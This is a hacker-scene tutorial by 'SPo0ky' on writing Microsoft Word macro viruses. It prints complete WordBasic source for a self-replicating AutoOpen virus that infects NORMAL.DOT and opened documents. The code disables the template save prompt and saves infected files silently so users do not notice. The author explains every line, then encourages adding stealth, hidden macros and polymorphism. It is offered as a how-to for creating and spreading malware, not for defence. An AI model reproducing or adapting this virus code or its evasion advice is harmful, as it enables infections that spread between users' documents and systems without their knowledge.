MS-Word Macro Viruses
by SPo0ky

    Background:

            Macro viruses... they are in the media since August 1995, when the
     first macro virus was discovered, it was called CONCEPT (aka "The Prank
     Program", "Prank Macro", "WinWord.Concept", "WordMacro.Concept").
     Three month later there were already 3 other macro viruses created (DMV,
     Nuclear, and Rainbow).
     Since this time the number of macro viruses increased dramatically, today
     there are over 1000 macro viruses (about 300 different 'families')!

            Macro viruses have broken the rules of virus coding, they are able to
     infect documents!
     Nobody ever thought that it could be possible to INFECT a document ... until
     the birth of Concept! It used the MS-Word macro language (Word-Basic) to
     replicate itself.

            In this text file i will try to teach you the basics of MS-Word-macro-
     virus-programming. Till now i have written 5 macro viruses, i stopped when
     M$-Office 97 came out. It had many changes which i didn't want to learn
     again! I will not go in depth because i don't like macro-viruses, see the
     pros and cons =>

    Pros and cons of macro viruses:

            1) [+]
               Macro viruses are very easy to code. I needed 2 days for my first
               macro virus without any prior word-basic knowledge.
               You don't have to know a lot about the inner working on the
               computer to write such a virus. Everything you have to know is how
               MS-Word works and a bit about the MS-Word macro language (Word
               Basic).

            2) [+]
               They can run on any platform (like Win95 -> Win3.x -> Macintosh ->
               ...) as long as MS-Word is installed on the system!
               Most other viruses (DOS based viruses which infect COM, EXE and
               Boot Sectors) can not spread to other platforms like to the
               Macintosh because
                 1) every CPU has different instruction sets.
                 2) the file formats of executable files are different.
               But macro viruses use Word Basic, and Word Basic is the same if it
               is run on the PC or on the MAC!

            3) [+]
               Documents are very much exchanged between people (maybe more often
               then executable files). MS-Word is used in many companies (yes, in
               mine too! :) and in schools!
               Once we had a macro virus infection at school. We had a novel
               network running, and win word was used by almost everyone in the
               school. The problem was that the NORMAL.DOT file had read/WRITE
               rights for everybody, so the virus infected the normal.dot which
               was used by the whole network!

            4) [-]
               Word Basic is a HLL (High Level Language), which means that it
               doesn't give you full control over the system. On the other hand,
               Assembly gives you TOTAL CONTROL over the CPU, isn't this what we
               all want? ;-)
               HLL's only give you some pre-defined functions which were written
               by the programmer of the compiler/interpreter.

            5) [-]
               Macro viruses need very much memory. I was not able to run my
               'spooky1' virus on a 486 with 4MB ram!

            6) [-]
               They are slow (as all HLL viruses)! Once you have written a very
               big virus which uses lots of macros you will notice that the whole
               program is getting very sloooooooow............

     Ok, now we have three pros and three cons,... lets go on to the next topic :)

    MS-Word Macros:

            Before you can write a word macro program you have to know how ms-word
     works, how it is structured, what macros are and how they work,...

            A macro is a piece of code which is executed if a certain event
     occurs. Such an event will occur if the user is going to save a file, open
     a file, exits ms-word, copy text, whatever,..... everything the user does in
     ms-word is an event which calls a macro.

            Macros can be stored in 'Templates' (or .DOT files), they can also be
     stored in the global template (NORMAL.DOT).
     If a macro should only be active while the document is opened it should be
     stored in the file (xxxxx.dot), but if it should be available all the time
     while ms-word is run it should be saved in the normal.dot.

            You can access (list, edit, delete) all available macros at 'Tools' =>
     'Macro...'.
     You will also see a field called 'Macroname:'. This field is used to create a
     new macro or to edit an existing macro.
     The name of a macro is built as following: Lets say you want to change the
     macro which is executed if you save a new file... To save a new file you
     would click on 'Files' => 'Save As...'.
     So the macroname for this would be 'FilesSaveAs'! easy, eh?
     If you type 'FileSaveAs' in the field 'Macroname:' in the macro dialogbox you
     can edit the code which is executed if the user saves a new file.

            Now you should get the idea! Everything we have to do to infect other
     files is to change some macros which are called for Saving and for Opening of
     files!

            Ok, before i show you the code for a simple macro virus i will explain
     some very basic Word-Basic macros...

            Lets take a look at the original FileSaveAs macro. Open the Macro-
     Dialog Box ('Tools' => 'Macro...') and type 'FileSaveAs' in the 'Macroname:'
     field, now click on 'Create' and you will see the original source code of the
     FileSaveAs macro.
     This is what you will get:

     -----------------------
      Sub MAIN
      Dim dlg As FileSaveAs
      GetCurValues dlg
      Dialog dlg
      FileSaveAs dlg
      End Sub
     -----------------------

     => 'Sub MAIN'
     All macros begin with 'Sub MAIN'. 'Sub MAIN' indicates the beginning of the
     macro. There can also be other Sub's (and/or functions) in the same macro,
     but Sub MAIN is the macro which is run when the macro gets executed.

     => 'Dim dlg As FileSaveAs'
     'dlg' is an undefined variable right now. Word-Basic uses 'Dim' to reserve
     memory for variables.
     We need the variable 'dlg' (Dialog) to access the information (like filename,
     path,...) from the FileSaveAs dialog. So we just reserve as much memory as
     FileSaveAs needs with 'dim dlg AS FileSaveAs'.

     => 'Dialog dlg'
     At this point all 'informations' of the FileSaveAs dialog are stored in the
     variable 'dlg'. ('informations' = X/Y position of the window, which input
     fields the dialog has, where they are, just how the dialog looks like,...)
     The 'Dialog' command will show this information as a dialog box on your
     screen.
     This dialog is the one that you get when you click on 'File' => 'Save As...'.
     Everything (like path, filename,...) that you change in this dialog will be
     changed in the variable 'dlg' too!

     => 'FileSaveAs dlg'
     After you click on 'OK' in the dialog box this part will be executed.
     'FileSaveAs dlg' will take the information stored in 'dlg' and it will use
     this information to perform the action it is used for. It will use the
     path+filename to create the file, it will check if the document has to be
     encoded or not, etc.......

     => 'End Sub'
     This indicates the end of this sub. At this point control is given back. Now
     ms-word will wait for other events which will execute other macros...

            Now we will change this macro so that it will popup a message box when
     you click on File-SaveAs.
     Again, go to 'Tools' => 'Macro...', type in FileSaveAs and click 'Create'.
     You will see the original FileSaveAs source code again (same as above).
     Insert the line:

      MsgBox "Some Text"

     after the line "Sub MAIN".
     Close the window and when you are asked if you want to save the changes
     choose YES.
     Now create a new document and click on 'File' => 'SaveAs...'. You will see
     a message box which displays your entered text!
     ... to remove this again, just edit the macro, remove the inserted line
     'MsgBox "Some Text"' and save the macro.

            Now you know the most important basics like how to edit macros, how to
     list them and how they work... lets go to the good stuff, The Virus =>

    The Virus:

            I'll show you a very simple macro virus which uses only one macro.
     I will not show you a very advanced macro virus because 1st) I'm too lazy and
     2nd) it would only confuse you! Once you understand this code you will get
     many ideas how to make your virus more advanced by yourself!

            Here is the virus code, it exists off one macro, AutoOpen! The macro
     AutoOpen is executed whenever a file is opened (you could also use FileOpen
     but i like this one more).
     ... at first the whole code, the Step-by-Step explanation is below =>

     -------------------------------------------------------------------
      Sub MAIN
        Dim dlg As FileSaveAs
        GetCurValues dlg
        ToolsOptionsSave .GlobalDotPrompt = 0
        If checkit(0) = 0 Then
          MacroCopy FileName$() + ":autoopen", "global:autoopen"
        End If
        If (dlg.Format = 1) Or (dlg.Format = 0) Then
          If checkit(1) = 0 Then
            FileSaveAs .Format = 1
            MacroCopy "global:autoopen", FileName$() + ":autoopen"
            FileSave
          End If
        End If
      End Sub

      Function checkit(check_what)
        checkit = 0
        If CountMacros(check_what) >= 1 Then
          For i = 1 To CountMacros(check_what)
            If MacroName$(i, check_what) = "autoopen" Then checkit = 1
          Next i
        End If
      End Function
     -------------------------------------------------------------------

    Step-by-Step:

      Sub MAIN
     ----------
       You know that... here is the start of our code...

        Dim dlg As FileSaveAs
       -----------------------
         We will need the FileSaveAs function later, so we reserve some memory for
         it.

        GetCurValues dlg
       ------------------
         ... and we read the current settings.

        ToolsOptionsSave .GlobalDotPrompt = 0
       ----------------------------------------
         We will infect the global template (normal.dot). Once we changed
         (infected) it, it will ask the user if he wants to save the changes! This
         could make the user suspicious, so we just switch the option which asks
         for confirmation to save the normal.dot OFF!
         Again, lets take a look at this macro name "ToolsOptionsSave"... what
         you'd have to do to change this manually is: clicking on TOOLS => OPTIONS
         => SAVE, this would popup a dialog box which has this option which you
         can switch ON/OFF.
         Sometimes it's hard to 'guess' the right name for a 'variable' like
         .GlobalDotPrompt! To make it easier M$-Word has a pretty good help file!
         Click on HELP => 'Microsoft Help' and choose 'Search', now type in the
         macro name like 'ToolsOptionsSave', press enter and so you will get a
         list of all used variables (like .GlobalDotPrompt)!

        If checkit(0) = 0 Then
       ------------------------
         This is an 'IF' statement. If the part before the '=' is the part after
         the '=' it will execute the code after 'THEN'.
         'CheckIt' is a function (look below) which will check if the File
         Global.dot is already infected => Infection Check.
         What the 0 (zero) between the '(', ')' means will be explained later in
         the function. Anyway, the function 'checkit' will return ZERO if the
         File/Global.dot is NOT infected yet!

          MacroCopy FileName$() + ":autoopen", "global:autoopen"
         --------------------------------------------------------
           This is the part after the 'THEN' which will be only executed if the
           function 'checkit' returns zero (=> if the Global Template is not
           infected yet).
           Now we know that the global template is not infected, lets do it! To
           infect the global template and other .dot files (templates) we use the
           function 'MacroCopy'!
           The format of this function is:
             MacroCopy "FROM_FILE:MACRONAME_FROM", "TO_FILE:MACRONAME_TO"[,1]
           MacroCopy will copy the macro MACRONAME_FROM from FROM_FILE to
           MACRONAME_TO in TO_FILE. If you want to copy a macro from/to the global
           template you change FROM_FILE or TO_FILE to 'GLOBAL:'.
           If I'd copy the macro 'TEST' from the global template to the file
           FOOBAR.DOT I'd write:
             MacroCopy "global:test", "foobar.dot:test"
           The function FileName$() will return the the filename of the active
           document (our document which includes the virus).
           There is also an optional function, the ',1'.
           If you write:
             MacroCopy "global:test", "foobar.dot:test", 1
           ... you wouldn't be able to view the source code of the macro with
           TOOLS => 'MACRO...' => 'Create' anymore!!! This can be used to hide
           your virus code from the eyes of most people, BUT there are already
           programs which can decrypt such macros!

        End If
       --------
         End If indicates the end of the IF statement! Without this line of code
         MS-Word wouldn't know where the IF statement ends. Never forget it!!

        If (dlg.Format = 1) Or (dlg.Format = 0) Then
       ----------------------------------------------
         Another IF statement. You see the 'OR'? 'OR' is used so that you can
         compare more then one variables in one IF statement! If one or both of
         the variables is true, the part after the THEN will be executed, if
         NON of both variables is true the part after the THEN will NOT be run.
         Anyway, here we check the current format of the opened file. Now we have
         to use the 'infos' from the DLG variable (which includes the settings of
         the FileSaveAs dialog).
         We can check the file format with the variable .FORMAT of the dialog
         FileSaveAs (DLG.FORMAT).
         .Format will be a number from 0 to 6:
           0 = Word Document (.doc)
           1 = Template (.dot file)
           2, 3, 4, 5 = generally PLAIN TEXT!
           6 = Rich Text Format (.rtf files)
         We are only interested in 0 (.doc) and 1 (.dot) files! So we check if
         the format is 0 OR 1. If it is not, the part after the THEN will not
         be executed. BUT if the format is 0 OR 1 we will infect it =>

          If checkit(1) = 0 Then
         ------------------------
           You remember, we already had almost the same line of code before. But
           at this time we use ONE instead of ZERO between the '(', ')'. <- will
           be explained later.
           Anyway, here we check if the opened file is already infected...

            FileSaveAs .Format = 1
           ------------------------
             If it is NOT infected yet we will go on here...
             If it is a .doc file we will have to convert it to .dot because .doc
             files can't store macros!
             To convert it we just set .FORMAT to 1 and then we call FILESAVEAS.
             Remember: 1 is a template and templates can store macros.

            MacroCopy "global:autoopen", FileName$() + ":autoopen"
           --------------------------------------------------------
             Now we can copy the macro into the .DOT file! We copy it from
             GLOBAL:AUTOOPEN to FileName$():AUTOOPEN.

            FileSave
           ----------
             Now everything we have to do is to save the infected file again, else
             the user would be asked to save the file when he tries to close the
             file, this could make him suspicious too, so we just do it for him.
             :-)

          End If
         --------
           This is the END IF for the 'IF CHECKIT(1) = 0 THEN' line...

        End If
       --------
         And this is the END IF for 'IF (DLG.FORMAT = 1) OR (DLG.FORMAT = 0) THEN'
         line...

      End Sub
     ---------
       This indicates the end of the whole 'SUB'... it will return control to
       MS-Word which will wait for other (more interesting) events. :-)

      Function checkit(check_what)
     ------------------------------
       This is a function which i have written to check a file/global template if
       it is already infected.
       This function can be called from somewhere else as "CHECKIT(x)". You
       remember, i used it above two times...
       When it is called with, lets say, CHECKIT(5), the variable CHECK_WHAT will
       get the value 5. Later in the function this variable can be used for
       calculations, or whatever,...
       This function (CHECKIT) will return 0 or 1. If it returns 0 it means that
       the file is NOT infected, if it returns 1 it means that the file is already
       infected and that we should leave it alone.

        checkit = 0
       -------------
         At first we set it to zero, we are not sure if it is infected or not, so
         we put zero (not infected) into the checkit variable (or function). This
         will change later if the virus is found!

        If CountMacros(check_what) >= 1 Then
       --------------------------------------
         This IF statement will executed the next part only if there are more then
         then 0 macros in the opened file/global template.
         CountMacros will return the number of macros which exist in the file
         'CHECK_WHAT'... BUT check_what is no filename, right? It is just a
         number, in this virus 0 or 1. So what? =>
          0 means global template and
          1 means the currently active template (document)!
         If we check the global template for previous infection we use 0 =>
         "checkit(0)",
         if we check an opened file we use 1 => "checkit(1)".

          For i = 1 To CountMacros(check_what)
         --------------------------------------
           FOR is a 'loop'... it repeats the commands between the 'FOR' and 'NEXT'
           command until I (Counter) is bigger then "CountMacros(check_what)".
           The counter (I) is increased by 1 every time.
           If you don't understand what it does, look for it in the M$-Word help
           file!!!
           Anyway, we repeat the following commands as often as many macros we
           have in the currently checked template (0 or 1). "I" will have the
           number of the current checked macro everytime.

            If MacroName$(i, check_what) = "autoopen" Then checkit = 1
           ------------------------------------------------------------
             This IF statement will check if the macro AUTOOPEN already exists in
             check_what (0/1 => global template/file).
             MacroName$(i, check_what) will return the macroname I from the file
             CHECK_WHAT. Because of the above FOR, "I" is increased every round.
             If "I" is 4 and CHECK_WHAT is 0, MacroName will return the 4th macro
             from the global template. got it? Then it compares the returned
             macroname with "AUTOOPEN", if it finds this macroname in the file
             which should be infected it will set CHECKIT to 1 (remember, if
             checkit returns 1 it means that the file is already infected)!

          Next i
         --------
           'NEXT I' indicates the end of the FOR loop, it jumps back to the
           'FOR I = 1 TO COUNTMACROS(CHECK_WHAT)' line to increase "I" and to
           start a new round.

        End If
       --------
         This is the END IF for the "IF COUNTMACROS(CHECK_WHAT) >= 1 THEN" line.

      End Function
     --------------
       Indicates the end of this function. It will jump back to the SUB where it
       was called from.

            Puh, that was a lot! I hope you did understand everything! If you
     didn't understand certain commands then look at the MS-Word help file, it has
     pretty easy explanations and examples for every command!
     Now you should be able to write your own macro-viruses, i gave you the
     basics, try to impoofe your viruses with some protection:
     Don't allow to open the Macro-Toolbox (change the macro ToolsMacros) or make
     a new ToolsMacros Dialog which filters the macros of your virus out
     (stealth).
     Try to make your viruses polymorph (yes, this is possible too in macro's)...
     i have never used it in one of my viruses, but there are viruses which change
     their variable names and store the original's in the win95 registery.

     Ok, be creative and have FUN! ;-)
       --SPo0ky
         [spo0ky@thepentagon.com]